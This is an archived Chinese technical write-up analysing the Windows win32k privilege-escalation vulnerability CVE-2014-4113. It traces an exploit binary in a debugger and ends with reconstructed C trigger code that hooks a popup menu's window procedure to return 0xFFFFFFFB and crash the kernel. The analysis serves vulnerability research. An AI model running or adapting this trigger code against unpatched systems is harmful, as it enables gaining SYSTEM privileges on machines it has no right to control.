# CVE-2014-4113漏洞利用过程分析

Author: 乌云历史资料库 (@wooyun_archive)
Published: 2014-10-24T06:13:00Z
Canonical: https://wepostx.com/topics/602

> 乌云历史资料归档
>
> **原始作者：** cssembly
> **原始编号：** superkieran-wooyundrops:372
> **原始发布时间：** 2014-10-24 14:13
> **声明：内容仅用于技术研究和个人使用，版权归 wooyun.org。**

---

## 0x00 简介

通过VMware和Windbg搭建32位内核调试环境，系统为xp sp2，执行漏洞利用程序win32.exe calc.exe，弹出了一个SYSTEM权限的calc。

![原文图片](/media/2016/06/2545862760eb0130bfc7f1907b51190d)

通过IDA分析win32.exe，可以看到signed int __cdecl sub_4010F2()函数通过调用ZwQuerySystemInformation泄露内核模块ntkrnlpa.exe基址，最终得到PsLookupProcessByProcessId函数地址，该函数用于漏洞利用代码。

![原文图片](/media/2016/06/2cdc3f8c924e4bdcef5ddcec7fd41aa1)

sub_401830函数是漏洞利用代码，完成权限提升操作。

![原文图片](/media/2016/06/ff02dcfd1cdd229b42f2080196b2ddb3)

## 0x01 调试过程

通过在函数上设置断点，可以得到漏洞利用触发位置。

![原文图片](/media/2016/06/fc971a316a2f12da5fe158122a2cff3b)

可见是由TrackPopupMenu最终触发了漏洞，调用点为call dwordptr[esi+20]，此时esi的值为0xfffffffb。 通过函数调用栈，对esi值的来源进行反向跟踪，可以知道在Menu的消息处理函数signed int __stdcall xxxHandleMenuMessages(int a1, int a2, int a3)中调用int __stdcall xxxMNFindWindowFromPoint(int a1, int a2, unsigned int a3)时返回了异常的值，最终触发了漏洞。

![原文图片](/media/2016/06/6fdf305f6d3a71df655af24f031758f1)

通过对xxxMNFindWindowFromPoint的调用过程进行分析，找到异常的返回值是在int __stdcall SfnOUTDWORDINDWORD(int a1, int a2, int a3, int a4, int a5, int a6, char a7, int a8)中得到的。异常的值最终是由KeUserModeCallback函数通过v28指向的值返回。其中KeUserModeCallback函数的原型如下：

```text
#!cpp NTSTATUS KeUserModeCallback ( IN ULONGApiNumber, IN PVOIDInputBuffer, IN ULONGInputLength, OUT PVOID *OutputBuffer, IN PULONGOutputLength );
```

![原文图片](/media/2016/06/d57fc945059264f1e9ba76e28f7242c0)

内核态的KeUserModeCallback函数最终会调用ntdll中的KiUserCallbackDispatcher函数来调用用户态回调函数，通过对KeUserModeCallback、KiUserCallbackDispatcher设置断点，可以看到第一次处理0x1EB(MN_FINDWINDOWFROMPOINT)消息是通过xxxSendMessageTimeout中调用的xxxCallHook来调用用户注册的钩子函数，在用户空间里函数调用了USER32中的__fnOUTDWORDINDWORD函数，最终调用sub_401475（pfnFilterProc）函数。

![原文图片](/media/2016/06/de3f4bc6bd682dcd811a7f47256493d4)

![原文图片](/media/2016/06/4e7c8e870eff6879a85568f2260026ca)

![原文图片](/media/2016/06/d3fa77d87260e3a8a44b763a5e9d42a8)

程序在pfnFilterProc中通过SetWindowLongA设置PopupMenu的窗口消息处理函数，那么当xxxCallHook函数返回后，图中的!(*(_BYTE *)(a1 + 22) & 4)条件成立，将执行xxxSendMessageToClient，该函数内将执行KeUserModeCallback，最终调用用户态函数sub_4013F3。

![原文图片](/media/2016/06/94f23ed7ba366c7373f6ff92ba775625)

![原文图片](/media/2016/06/66f6fca9a29c4a4e6d0e06f2532fc976)

sub_4013F3函数尾部返回了0xFFFFFFFB。与KeUserModeCallback函数通过v28返回的值相等。为了进一步确认，修改sub_4013F3函数返回值为0xFFFFFFFF。可以看到v28指向的值变成了0xFFFFFFF。

![原文图片](/media/2016/06/bf96bc3441aaa9875af4c34ecb81b442)

![原文图片](/media/2016/06/e88f88ca791509847695f9fb86ea915e)

通过修改win32.exe中的指令，将0x40146D处的push 0FFFFFFFBh修改为push 0FFFFFFFFh，执行之后发现提权失败。进一步确定由于内核的使用了异常的函数返回值，最终导致了权限提升。

![原文图片](/media/2016/06/ddfca3a9d5caab6a53c6362538c7df3f)

可见在PopupMenu的窗口消息处理函数处理0x1EB的消息时，没有判断消息函数的返回值，最终导致了权限提升。 所以漏洞触发的完整过程如下：通过模仿点击事件，CreatePopupMenu创建的PopupMenu会收到0x1EB类型的消息，因为无法拿到PopupMenu的窗口句柄，程序并没有办法直接设置PopupMenu的窗口消息处理函数，因此首先通过SetWindowsHookExA注册钩子函数，在钩子函数中得到PopupMenu的窗口句柄，再通过SetWindowLongA设置PopupMenu的窗口消息处理函数，注册之后，xxxSendMessageToClient将调用新的窗口消息处理函数，接收并处理0x1EB的消息。 在新的窗口消息处理函数中，对于消息号为0x1EB的消息，函数返回了0xFFFFFFFB，最终触发了漏洞。

![原文图片](/media/2016/06/ac40f14b1843be4a5627321f9ba12c85)

## 0x02 触发代码

通过上面的分析，根据win32.exe中代码，稍加简化，可以得到如下的漏洞触发代码。

```text
#!cpp #include"stdafx.h" #include<windows.h> DWORD dword_40DA54=0,dword_40DA5C=0; WNDPROC lpPrevWndFunc = NULL; LRESULT CALLBACK sub_4014D2(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam ) { if ( Msg == WM_ENTERIDLE ) { if ( dword_40DA5C != 1 ) { dword_40DA5C = 1; //模仿点击消息，触发0x1EB消息处理，执行pfnFilterProc PostMessageA(hWnd, WM_KEYDOWN, 0x28u, 0); PostMessageA(hWnd, WM_KEYDOWN, 0x27u, 0); PostMessageA(hWnd, WM_LBUTTONDOWN, 0, 0); } } return DefWindowProcA( hWnd,Msg,wParam,lParam); } int __cdecl sub_401306() { HMENU v0; // [email protected] HMENU v1; // [email protected] MENUITEMINFOA mi; // [sp+Ch] [bp-64h]@1 MENUITEMINFOA v4; // [sp+3Ch] [bp-34h]@1 HMENU v9; // [sp+6Ch] [bp-4h]@1 v9 = 0; memset((void *)&mi, 0, sizeof(mi)); memset(&v4, 0, sizeof(MENUITEMINFOA)); mi.cbSize = 48; v0 = CreatePopupMenu(); if ( v0 ) { mi.fMask = 64; if ( InsertMenuItemA(v0, 0, 1, &mi) ) { v4.fMask = 68; v4.dwTypeData = (LPSTR)&dword_40DA54; v4.cch = 1; v4.hSubMenu = v0; v4.cbSize = 48; v1 = CreatePopupMenu(); v9 = v1; if ( !v1 || !InsertMenuItemA(v1, 0, 1, (LPCMENUITEMINFOA)&v4) ) { DestroyMenu(v0); if ( v1 ) DestroyMenu(v1); } } else DestroyMenu(v0); } return (int)v9; } unsigned int __stdcall sub_4013F3(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam) { if ( Msg != 0x1EB ) return CallWindowProcA(lpPrevWndFunc, hWnd, Msg, wParam, lParam); return 0xFFFFFFFBu;//返回xFFFFFFFB，触发漏洞 } LRESULT __stdcall pfnFilterProc(int nCode, WPARAM wParam, LPARAM lParam) { if ( *(DWORD *)(lParam + 8) == 0x1EB ) { UnhookWindowsHook(4, pfnFilterProc); //设置PopupMenu的窗口消息处理函数 lpPrevWndFunc = (WNDPROC)SetWindowLongA(*(HWND *)(lParam + 12), -4, (LONG)sub_4013F3); } return CallNextHookEx(0, nCode, wParam, lParam); } int __stdcall Exp() { int v1; // [email protected] DWORD v2; // [email protected] int result; // [email protected] HWND hWnd; // [sp+10h] [bp-58h]@2 signed int v5; // [sp+14h] [bp-54h]@1 LPVOID lpAddress; // [sp+18h] [bp-50h]@1 struct _SYSTEM_INFO SystemInfo; // [sp+1Ch] [bp-4Ch]@1 WNDCLASSA WndClass; // [sp+40h] [bp-28h]@1 v5 = 0; lpAddress = 0; memset(&SystemInfo, 0, 0x24u); memset(&WndClass, 0, 0x28u); WndClass.lpfnWndProc = (WNDPROC)sub_4014D2; WndClass.lpszClassName = "woqunimalegebi"; GetNativeSystemInfo(&SystemInfo); if ( SystemInfo.dwOemId != 9 && (RegisterClassA(&WndClass) &&(hWnd = CreateWindowExA(0, WndClass.lpszClassName, 0, 0, -1, -1, 0, 0, 0, 0, 0, 0)) !=0) ) { v1 = 0; v5 = 1; v1 = sub_401306(); if ( v1 ) { v2 = GetCurrentThreadId(); SetWindowsHookExA(4, pfnFilterProc, 0, v2); TrackPopupMenu((HMENU)v1, 0, 0xFFFFD8F0u, 0xFFFFD8F0u, 0, hWnd, 0); } DestroyWindow(hWnd); if ( v1 ) DestroyMenu((HMENU)v1); UnhookWindowsHook(4, pfnFilterProc); if ( v5 ) VirtualFree(lpAddress, 0, 0x8000u); result = 0; } else result = 0; return result; } int _tmain(int argc, _TCHAR* argv[]) { Exp(); return 0; }
```
编译执行之后，可以看到触发了异常。

![原文图片](/media/2016/06/d6a879d69d576aa10a7d9b6321b2aefa)

## Replies
